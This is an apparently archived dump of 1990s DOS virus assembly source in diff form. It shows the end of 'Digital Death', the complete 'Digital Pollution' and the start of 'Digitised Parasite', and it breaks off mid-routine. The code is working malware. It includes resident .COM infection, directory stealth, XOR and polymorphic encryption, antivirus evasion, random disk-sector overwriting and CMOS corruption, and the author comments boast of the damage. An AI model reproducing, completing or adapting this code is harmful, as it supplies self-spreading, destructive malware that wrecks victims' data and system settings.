cmp byte ptr cs:[Closeflag],1 ;and don't restore attrib
|
||||
je exit_close
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
exit_close:
|
||||
mov byte ptr cs:Closeflag,0 ;unmark infection on close
|
||||
|
||||
pop di si cx bx ax bp es
|
||||
|
||||
do_oldint21h: ;jump to old int21h
|
||||
db 0eah
|
||||
OldInt21h dd 0
|
||||
|
||||
Closeflag db 0
|
||||
COMflag db 1
|
||||
COMret db 0cdh,20h,00h
|
||||
EXEheader db 18h dup(0)
|
||||
signature db "Digital Death - v0.90á (c) '94 Raver/Immortal Riot"
|
||||
|
||||
end_of_encryption:
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; End of encryption - the code below this point is unencrypted
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
enc_val dw 0 ;value to en/decrypt with
|
||||
|
||||
encrypt_decrypt:
|
||||
mov dx,word ptr ds:[bp+enc_val]
|
||||
lea si,[bp+install_code]
|
||||
mov cx,(end_of_encryption-install_code)/2
|
||||
loopy:
|
||||
xor word ptr ds:[si],dx ;simple ordinary xor-loop
|
||||
inc si ;encryption
|
||||
inc si
|
||||
loop loopy
|
||||
ret
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; End of virus
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
end_of_virus:
|
||||
cseg ends
|
||||
end start_of_virus
|
||||
|
|
@ -0,0 +1,513 @@
|
|||
; VirusName : Digital Pollution
|
||||
; Origin : Sweden
|
||||
; Author : Raver
|
||||
; Group : Immortal Riot
|
||||
; Date : 25/07/94
|
||||
|
||||
; It's been a while since I released my last virus but here's a new one
|
||||
; anyway.
|
||||
;
|
||||
; It's a pretty simple resident non-overwriting .com-infector with
|
||||
; basic stealth function. Of course it restores time/date/attrib
|
||||
; and stuff like that. It hooks int 21h and infects on execute
|
||||
; and open (4b00h/3dh). If a "dir" command is executed it will hide
|
||||
; the new filesize of infected size by hooking 11h/12h (Find first/next
|
||||
; the FCB way). The comments is, I think, pretty OK and easy to follow.
|
||||
;
|
||||
; As we have started to make out viruses a bit more destructive I've
|
||||
; included some nuking routines. The virus hooks int 25h (read sector)
|
||||
; at install and every time it's called there is a 3 % chance that it
|
||||
; will execute a int 26h instead (write sector). It also includes a
|
||||
; routine to change the CMOS values for the HD/floppy. Every time an
|
||||
; infected file is executed it's 2 % chance that this will be activated
|
||||
; and if so the HD will be set to 20MB and the floppy to 360kb.
|
||||
; Though this can easily be restored it can cause the novice to do
|
||||
; some unpredictable things before he really detects the real error.
|
||||
; (like formating floppys or HD or call his hardware vendor :)
|
||||
; Also if it's the swedish national day (06/06) it will play some of
|
||||
; the swedish national antheme. It's completely undestructive but
|
||||
; what the phuck, it could be fun.
|
||||
|
||||
; At last some credits to Macaroni Ted 'cause I've borrowed the
|
||||
; play_song routine from his CyberCide Virus.
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; DIGITAL POLLUTION
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
cseg segment byte public 'code'
|
||||
assume cs:cseg, ds:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
vir_size equ end_of_virus-start_of_virus
|
||||
|
||||
start_of_virus:
|
||||
jmp entry_point
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Install code
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
install:
|
||||
|
||||
mov ax,7777h ;check if we're already in mem
|
||||
int 21h
|
||||
cmp ax,'iR' ;if so - jmp already_resident
|
||||
je already_resident
|
||||
|
||||
mov ah,2ah ;get data
|
||||
int 21h
|
||||
cmp dx,0606h ;if it's Sweden's national day
|
||||
jne dont_play ;play the national antheme
|
||||
call play_song
|
||||
dont_play:
|
||||
|
||||
mov ah,4ah ;get #of available paragraphs in bx
|
||||
mov bx,0ffffh
|
||||
int 21h
|
||||
|
||||
sub bx,(vir_size+15)/16+1 ;recalculate and
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
|
||||
mov ah,48h ;allocate enough mem for virus
|
||||
mov bx,(vir_size+15)/16
|
||||
int 21h
|
||||
jc already_resident ;exit if error
|
||||
|
||||
dec ax ;ax-1 = MCB
|
||||
mov es,ax
|
||||
mov word ptr es:[1],8 ;Mark DOS as owner
|
||||
|
||||
push ax ;save for later use
|
||||
|
||||
mov ax,3521h ;get interrupt vectors for 21, 25 & 26h
|
||||
int 21h
|
||||
mov word ptr ds:[OldInt21h],bx
|
||||
mov word ptr ds:[OldInt21h+2],es
|
||||
|
||||
mov al,25h
|
||||
int 21h
|
||||
mov word ptr ds:[old_int25h],bx
|
||||
mov word ptr ds:[old_int25h+2],es
|
||||
|
||||
inc al
|
||||
int 26h
|
||||
mov word ptr ds:[int26h],bx
|
||||
mov word ptr ds:[int26h+2],es
|
||||
|
||||
pop ax ;ax = MCB for allocated mem
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cld ;cld for movsw
|
||||
sub ax,0fh ;es:[100h] = start of allocated mem
|
||||
mov es,ax
|
||||
mov di,100h
|
||||
lea si,[bp+offset start_of_virus]
|
||||
mov cx,(vir_size+1)/2 ;copy entire virii to mem
|
||||
rep movsw ;this way keeps the original offsets
|
||||
;in the int handler
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov dx,offset new_int21h ;hook int21h to new_int21h
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
already_resident:
|
||||
mov di,100h ;restore the 3 first bytes to it's
|
||||
push cs ;original position
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
lea si,[bp+orgbuf]
|
||||
mov cx,3
|
||||
rep movsb
|
||||
|
||||
mov ah,2ch ;get time
|
||||
int 21h
|
||||
cmp dl,1 ;about 2% chance of a CMOS nuke
|
||||
ja exit
|
||||
call screw_cmos
|
||||
exit:
|
||||
mov ax,100h ;return control to original program
|
||||
jmp ax ;at cs:100h
|
||||
|
||||
orgbuf db 0cdh,20h,90h ;buffer to save the 3 first bytes
|
||||
newbuf db 0e9h,00h,00h ;buffer to calculate a new entry
|
||||
;offset
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; new interrupt 21h handler
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
new_int21h:
|
||||
|
||||
cmp ax,7777h ;is it residency check??
|
||||
jne continue
|
||||
mov ax,'iR' ;if so return 'iR'
|
||||
iret
|
||||
continue:
|
||||
cmp ax,4b00h ;check for exec
|
||||
je infect
|
||||
check_open:
|
||||
cmp ah,3dh ;check for open
|
||||
jne check_dir
|
||||
jmp check_com ;if si check if .com file
|
||||
check_dir:
|
||||
cmp ah,11h ;is it a dir call??
|
||||
je hide_dir ;then do some FCB stealth
|
||||
cmp ah,12h
|
||||
je hide_dir
|
||||
jmp do_oldint21h
|
||||
|
||||
hide_dir: ;FCB stealth routine
|
||||
pushf ;simulate a int call with pushf
|
||||
push cs ;and cs, ip on the stack
|
||||
call do_oldint21h
|
||||
or al,al ;was the dir call successfull??
|
||||
jnz skip_dir ;if not skip it
|
||||
|
||||
push ax bx es ;preserve registers in use
|
||||
|
||||
mov ah,62h ;same as 51h - Get current PSP to es:bx
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h] ;is the PSP OK??
|
||||
jnz bad_psp ;if not quit
|
||||
|
||||
mov bx,dx
|
||||
mov al,[bx] ;al holds current drive - FFh means
|
||||
push ax ;extended FCB
|
||||
mov ah,2fh ;get DTA-area
|
||||
int 21h
|
||||
pop ax
|
||||
inc al ;is it an extended FCB
|
||||
jnz no_ext
|
||||
add bx,7 ;if so add 7
|
||||
no_ext:
|
||||
mov al,byte ptr es:[bx+17h] ;get seconds field
|
||||
and al,1fh
|
||||
xor al,1dh ;is the file infected??
|
||||
jnz no_stealth ;if not - don't hide size
|
||||
|
||||
cmp word ptr es:[bx+1dh],vir_size-3 ;if a file with same seconds
|
||||
jbe no_stealth ;as an infected is smaller -
|
||||
sub word ptr es:[bx+1dh],vir_size-3 ;don't hide size
|
||||
sbb word ptr es:[bx+1fh],0 ;else sub vir_size-2 from
|
||||
no_stealth: ;dir entry
|
||||
bad_psp:
|
||||
pop es bx ax ;restore regs
|
||||
skip_dir:
|
||||
iret
|
||||
|
||||
|
||||
infect: ;.com file infection routine
|
||||
push es bp ax bx cx si di ds dx ;preserve registers in use
|
||||
|
||||
mov ax,4300h ;get attrib
|
||||
int 21h
|
||||
push cx ;save attrib
|
||||
mov ax,4301h ;clear attrib
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ;open file
|
||||
pushf ;we can't have a standard int 21h
|
||||
push cs ;call here as we would get caught
|
||||
call do_oldint21h ;in a infinite loop at open calls
|
||||
|
||||
xchg ax,bx ;bx = file handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,5700h ;get time/date
|
||||
int 21h
|
||||
push dx ;push date/time for later use
|
||||
push cx
|
||||
and cl,1fh ;check if infected (if seconds is 29)
|
||||
xor cl,1dh
|
||||
je skip_infect
|
||||
|
||||
mov ah,3fh ;read three bytes
|
||||
mov cx,3
|
||||
mov dx,offset ds:orgbuf
|
||||
int 21h
|
||||
|
||||
|
||||
cmp word ptr ds:orgbuf,'ZM' ;check if .EXE file
|
||||
je skip_infect
|
||||
cmp word ptr ds:orgbuf,'MZ'
|
||||
je skip_infect ;if so - don't infect
|
||||
|
||||
|
||||
mov ax,4202h ;go eof
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
add ax,offset entry_point-106h ;calculate entry offset to jmp
|
||||
mov word ptr ds:newbuf[1],ax ;move it to newbuf
|
||||
|
||||
mov ah,2ch ;get random number and put enc_val
|
||||
int 21h
|
||||
mov word ptr ds:enc_val,dx
|
||||
mov ax,08d00h ;copy entire virus to 8d00h:100h
|
||||
mov es,ax
|
||||
mov di,100h
|
||||
mov si,di
|
||||
mov cx,(vir_size+1)/2
|
||||
rep movsw
|
||||
push es
|
||||
pop ds
|
||||
xor bp,bp ;and encrypt it there
|
||||
call encrypt_decrypt
|
||||
|
||||
|
||||
|
||||
mov ah,40h ;write virus to file from position
|
||||
mov cx,end_of_virus-install ;08d00h:100h
|
||||
mov dx,offset install
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,4200h ;go sof
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write 3 start bytes
|
||||
mov cx,3
|
||||
mov dx,offset newbuf
|
||||
int 21h
|
||||
|
||||
skip_infect:
|
||||
mov ax,5701h ;restore time/date and mark it infected
|
||||
pop cx
|
||||
pop dx
|
||||
or cl,00011101b
|
||||
and cl,11111101b
|
||||
int 21h
|
||||
|
||||
;skip_infect:
|
||||
mov ah,3eh ;close the file
|
||||
int 21h
|
||||
|
||||
pop cx ;get old attrib in cx
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax,4301h ;and put it right
|
||||
int 21h
|
||||
|
||||
pop di si cx bx ax bp es ;restore registers
|
||||
|
||||
do_oldint21h:
|
||||
db 0eah ;jmp to original int21h handler
|
||||
OldInt21h dd 0
|
||||
|
||||
check_com: ;routine to check if a file has the
|
||||
push di es cx ax ;extension .com
|
||||
push ds
|
||||
pop es
|
||||
mov cx,64
|
||||
mov di,dx
|
||||
mov al,'.'
|
||||
repne scasb ;search for the '.' location
|
||||
|
||||
pop ax cx es
|
||||
|
||||
cmp word ptr ds:[di],'OC' ;check the 3 following bytes for COM
|
||||
jne break
|
||||
cmp byte ptr ds:[di+2],'M'
|
||||
jne break
|
||||
pop di
|
||||
jmp infect ;if the match - infect the file
|
||||
break:
|
||||
pop di
|
||||
jmp short do_oldint21h
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; new interrupt 25h handler
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
new_int25h:
|
||||
|
||||
push dx
|
||||
cmp al,2 ;check for c: and above
|
||||
jb do_int25h
|
||||
push cx ax
|
||||
|
||||
mov ah,2ch ;get random number
|
||||
int 21h
|
||||
pop ax cx
|
||||
cmp dl,2 ;3% chance of a int 26 nuke
|
||||
ja do_int25h
|
||||
|
||||
trash:
|
||||
pop dx
|
||||
db 0eah ;trash cx # of sectors by jumping
|
||||
int26h dd 0 ;to int26h handler
|
||||
|
||||
do_int25h:
|
||||
pop dx
|
||||
db 0eah ;lucky victim - a standard int25h call
|
||||
old_int25h dd 0
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; CMOS nuking routine
|
||||
;
|
||||
; This routine changes the floppy alternative in CMOS to a 360kb floppy
|
||||
; or the hd to a 20 MB
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
screw_cmos:
|
||||
|
||||
or dl,dl ;if dl = 0 nuke CMOS floppy
|
||||
jne floppy
|
||||
mov cl,19h ;else nuke CMOS hd
|
||||
jmp short get_crc
|
||||
floppy:
|
||||
mov cl,10h
|
||||
|
||||
get_crc: ;get CMOS crc checksum
|
||||
mov ax,2eh ;get most significant byte
|
||||
out 70h,al ;and store in dh
|
||||
in al,71h
|
||||
xchg dh,al
|
||||
mov al,2fh ;get least significant byte
|
||||
out 70h,al ;and store in dl
|
||||
in al,71h
|
||||
xchg dl,al ;dx holds crc checksum
|
||||
|
||||
mov al,cl ;cl = function (10h=floopy, 19h=hd)
|
||||
out 70h,al
|
||||
in al,71h ;get current value in al
|
||||
sub dx,ax ;and subtract from checksum
|
||||
add dx,10h ;add new value to checksum
|
||||
|
||||
mov al,cl
|
||||
out 70h,al
|
||||
mov al,10h
|
||||
out 71h,al ;put new value in CMOS
|
||||
|
||||
mov al,2eh ;put back new crc checksum
|
||||
out 70h,al
|
||||
xchg dh,al
|
||||
out 71h,al ;least signigicant byte
|
||||
mov al,2fh
|
||||
out 70h,al
|
||||
xchg dl,al
|
||||
out 71h,al ;most significant byte
|
||||
|
||||
ret ;done!
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Swedish national anthem routine
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
play_song:
|
||||
|
||||
lea si,[bp+tune]
|
||||
next_note: ;loop through the tune at ds:si
|
||||
lodsw ;until ds:si = 0
|
||||
or ax,ax
|
||||
je eot
|
||||
mov di,ax
|
||||
play:
|
||||
mov al,0b6h
|
||||
out 43h,al
|
||||
mov dx,12h
|
||||
mov ax,3280h
|
||||
div di
|
||||
out 42h,al
|
||||
mov al,ah
|
||||
out 42h,al
|
||||
|
||||
in al,61h
|
||||
mov ah,al
|
||||
or al,3
|
||||
out 61h,al
|
||||
|
||||
lodsw
|
||||
mov cx,ax
|
||||
delay:
|
||||
push cx
|
||||
mov cx,2700
|
||||
loop $
|
||||
pop cx
|
||||
loop delay
|
||||
|
||||
out 61h,al
|
||||
|
||||
jmp next_note
|
||||
eot:
|
||||
xor al,al ;kill the sound
|
||||
out 61h,al
|
||||
|
||||
ret
|
||||
|
||||
tune dw 370,600 ;data for the tune
|
||||
dw 370,1200
|
||||
dw 294,600
|
||||
dw 294,600
|
||||
dw 294,1200
|
||||
dw 330,600
|
||||
dw 370,600
|
||||
dw 370,1200
|
||||
dw 330,600
|
||||
dw 294,600
|
||||
dw 277,1800
|
||||
dw 330,600
|
||||
dw 330,1200
|
||||
dw 277,600
|
||||
dw 294,600
|
||||
dw 330,600
|
||||
dw 277,600
|
||||
dw 370,600
|
||||
dw 294,600
|
||||
dw 247,2400
|
||||
dw 220,1200
|
||||
dw 0
|
||||
|
||||
dbnote db "Digital Pollution (c) '94 Raver/Immortal Riot" ;creators note
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; En/de-cryption routine and entry point - unencrypted code
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
encrypt_decrypt:
|
||||
mov ax,word ptr ds:[bp+enc_val] ;put encryption value in ax
|
||||
lea di,[bp+install] ;di points to start of crypt
|
||||
mov cx,(encrypt_decrypt-install)/2 ;cx = # of words to be enc.
|
||||
xor_loopy:
|
||||
xor word ptr ds:[di],ax ;a simple xor loop to fullfill
|
||||
inc di ;the task
|
||||
inc di
|
||||
loop xor_loopy
|
||||
ret
|
||||
enc_val dw 0
|
||||
|
||||
|
||||
entry_point:
|
||||
mov sp,102h ;some alternative way to pop
|
||||
call get_bp ;we don't want TBAV to flag
|
||||
get_bp: ;a flexible entry point
|
||||
mov bp,word ptr ds:[100h]
|
||||
mov sp,0fffeh
|
||||
sub bp,offset get_bp
|
||||
|
||||
call encrypt_decrypt ;decrypt the virus
|
||||
jmp install ;jmp to install code
|
||||
|
||||
end_of_virus:
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; end of virus
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
cseg ends
|
||||
|
||||
end start_of_virus
|
|
@ -0,0 +1,637 @@
|
|||
comment %
|
||||
|
||||
Digitised Parasite
|
||||
Heyup, dudes, I added the "Weiners XOR machine" that I've been working on,
|
||||
it sucks and DF keeps telling me that, but hey, it polymorphs right?
|
||||
right guys? HEhehehe, pixy, wheres my disassembly you promised me?
|
||||
and no more cracks bout the "WXM" i finished it and it works, so fuck me all
|
||||
you lazy sods!
|
||||
|
||||
Well, so it's not really, polymorphic, but it does make from scratch a
|
||||
decryptor, okey, okey, so shaddup already ;)
|
||||
|
||||
Vir_tit: Digitised Parasite
|
||||
Variant: 5th "Australian Parasite"
|
||||
Author: Australian Parasite [AIH]
|
||||
Origin: Australia
|
||||
Length: A whopping 971bytes
|
||||
Issue: Resident .COM infector on EXEC
|
||||
Date: Completion in June 1994
|
||||
|
||||
%
|
||||
|
||||
VERS EQU 5
|
||||
|
||||
MAIN:
|
||||
CALL X0
|
||||
|
||||
X0:
|
||||
MOV BP,SP
|
||||
MOV DI,0100
|
||||
XCHG W[BP],DI
|
||||
SUB DI,0103
|
||||
MOV BP,0100
|
||||
XCHG DI,BP
|
||||
|
||||
LEA SI,[BP+OLD3]
|
||||
MOVSW
|
||||
MOVSB
|
||||
|
||||
MOV AX,02B44
|
||||
INT 21H
|
||||
CMP AH,VERS
|
||||
JNE GO_MEM
|
||||
RET
|
||||
|
||||
GO_MEM:
|
||||
MOV CX,PARGS ;AMOUNT OF MEMORY
|
||||
MOV DX,CS
|
||||
DEC DX
|
||||
MOV ES,DX
|
||||
MOV DX,W[2] ;SUB IT FROM CURRENT PSP
|
||||
SUB DX,CX
|
||||
ES: SUB W[3],CX ;SUB IT FROM OVERALL MEM
|
||||
MOV W[2],DX
|
||||
|
||||
XOR DI,DI
|
||||
MOV ES,DX
|
||||
LEA SI,[BP+0100]
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
|
||||
MOV AX,03521 - BUFLEN
|
||||
|
||||
MOV CX,BUFLEN
|
||||
|
||||
ADD AX,CX
|
||||
|
||||
REP MOVSB
|
||||
PUSH ES
|
||||
POP DS
|
||||
INT 21H
|
||||
MOV W[OFFSET JUMP+3-0100],ES
|
||||
MOV W[OFFSET JUMP+1-0100],BX
|
||||
MOV DX,INT21H-0100
|
||||
MOV AX,02521 - (INT21H-0100)
|
||||
ADD AX,DX
|
||||
INT 21H
|
||||
|
||||
PUSH CS,CS
|
||||
POP ES,DS
|
||||
RET
|
||||
|
||||
db "The Digitised Parasite : Australian Parasite [AIH]"
|
||||
|
||||
INT21H:
|
||||
PUSHF
|
||||
PUSH AX
|
||||
|
||||
ADD AH,AH
|
||||
CMP AH,04B+04B
|
||||
|
||||
POP AX
|
||||
JE DO_IT
|
||||
|
||||
POPF
|
||||
|
||||
CMP AX,02B44
|
||||
JNE JUMP
|
||||
|
||||
MOV AH,VERS
|
||||
IRET
|
||||
|
||||
JUMP: JMP 0000:0000
|
||||
|
||||
DO_IT:
|
||||
push ax,bx,cx,dx,si,di,bp,es,ds
|
||||
|
||||
;open file
|
||||
MOV AX,03D02
|
||||
INT 21H
|
||||
JNC X1
|
||||
|
||||
JMP DO_RET
|
||||
|
||||
X1:
|
||||
;save handle
|
||||
MOV BX,AX
|
||||
|
||||
PUSH CS,CS
|
||||
POP ES,DS
|
||||
|
||||
;save the first 3 bytes
|
||||
MOV AH,03F
|
||||
MOV CX,3
|
||||
MOV DX,OFFSET OLD3-0100
|
||||
INT 21H
|
||||
|
||||
MOV SI,DX
|
||||
ADD DX,"ZM" - OFFSET (OLD3-0100)
|
||||
CMP W[SI],DX
|
||||
JE DO_RETS
|
||||
|
||||
;move pointer to end of file to get size
|
||||
MOV AX,04202
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
SUB AX,3
|
||||
MOV W[OFFSET HOST-0100],AX
|
||||
|
||||
MOV AX,04202
|
||||
MOV CX,-1
|
||||
MOV DX,0-MLEN
|
||||
INT 21H
|
||||
|
||||
MOV DX,ENDV-0100
|
||||
MOV CX,MLEN
|
||||
MOV AH,03F
|
||||
INT 21H
|
||||
|
||||
MOV SI,DX
|
||||
MOV DI,MARKER-0100
|
||||
REP CMPSB
|
||||
JE DO_RETS
|
||||
|
||||
;get date & time
|
||||
MOV AX,05700
|
||||
INT 21H
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH BX
|
||||
|
||||
MOV AX,W[OFFSET HOST-0100]
|
||||
ADD AX,0103
|
||||
MOV BX,BUFLEN
|
||||
XOR SI,SI
|
||||
MOV DI,OFFSET ENDV-0100
|
||||
CALL POLY
|
||||
|
||||
POP BX
|
||||
MOV AH,040
|
||||
INT 21H
|
||||
|
||||
MOV AH,040
|
||||
MOV CX,MLEN
|
||||
MOV DX,OFFSET MARKER-0100
|
||||
INT 21H
|
||||
|
||||
MOV AX,04200
|
||||
XOR CX,CX
|
||||
XOR DX,DX
|
||||
INT 21H
|
||||
|
||||
MOV CL,3
|
||||
MOV DX,OFFSET JUMPS-0100
|
||||
MOV AH,040
|
||||
INT 21H
|
||||
|
||||
POP DX
|
||||
POP CX
|
||||
MOV AX,05701
|
||||
INT 21H
|
||||
|
||||
DO_RETS:
|
||||
MOV AH,03E
|
||||
INT 21H
|
||||
|
||||
DO_RET:
|
||||
POP DS,ES,BP,DI,SI,DX,CX,BX,AX
|
||||
POPF
|
||||
JMP JUMP
|
||||
|
||||
;==============================================================================
|
||||
;call Poly with
|
||||
; AX = Delta offset
|
||||
; BX = Length of code to encrypt
|
||||
;DS:SI = Offset of code to encrypt
|
||||
;ES:DI = Buffer offset of where to put cryption routine
|
||||
;returns
|
||||
;cx = total length to write
|
||||
;ds:dx = 32bit offset of where code is
|
||||
|
||||
db "Weiners XOR machine 1.0 (C) Australian Parasite [AIH] June 1994"
|
||||
|
||||
;With some thanks to Vibrant Pixel and Digital Vampyr
|
||||
|
||||
Poly:
|
||||
enter 22,0 ;80286 inst only ;)
|
||||
|
||||
mov w[bp-20],CX
|
||||
mov w[bp-22],si
|
||||
mov w[bp-16],di
|
||||
mov w[bp-4],ax ;Save Encryption Offset
|
||||
mov w[bp-6],bx ;Save Length to encrypt
|
||||
add ax,bx
|
||||
add w[bp-10],ax ;Add some to the random seed
|
||||
|
||||
call poly_flood_buffer
|
||||
call poly_make_register
|
||||
call poly_regnum ;Set regnum seed
|
||||
call poly_pointer_set ;Set the encryption delta offset
|
||||
call poly_count_set
|
||||
call poly_get_byte
|
||||
call poly_crypt_byte
|
||||
call poly_set_byte
|
||||
call poly_inc_data
|
||||
call poly_dec_counter
|
||||
call poly_calc_loop
|
||||
|
||||
mov ax,w[bp-16]
|
||||
sub di,ax
|
||||
mov w[bp-18],di
|
||||
|
||||
call poly_fix_delta
|
||||
|
||||
;copy code to end of cryption routine
|
||||
|
||||
mov cx,w[bp-6]
|
||||
mov si,w[bp-22]
|
||||
mov di,w[bp-16]
|
||||
add di,w[bp-18]
|
||||
rep movsb
|
||||
|
||||
mov cx,w[bp-6]
|
||||
mov si,w[bp-16]
|
||||
add si,w[bp-18]
|
||||
|
||||
mov dx,w[bp-8]
|
||||
|
||||
l1:
|
||||
xor b[si],dl
|
||||
inc si
|
||||
loop l1
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov dx,w[bp-16]
|
||||
mov cx,w[bp-18]
|
||||
add cx,w[bp-6]
|
||||
|
||||
leave ;Whoooo, another 80286+ only;
|
||||
;kill our scratch buffer
|
||||
ret
|
||||
|
||||
poly_fix_delta:
|
||||
mov di,w[bp-14]
|
||||
mov ax,w[bp-18]
|
||||
inc di
|
||||
add w[di],ax
|
||||
ret
|
||||
|
||||
poly_regnum:
|
||||
test dl,0100xb
|
||||
je ret
|
||||
mov w[bp-8],di ;Yes, then do this
|
||||
mov ax,0b0
|
||||
stosw
|
||||
ret
|
||||
|
||||
|
||||
poly_make_register:
|
||||
call poly_rand_byte
|
||||
and al,0111xb
|
||||
mov dh,al
|
||||
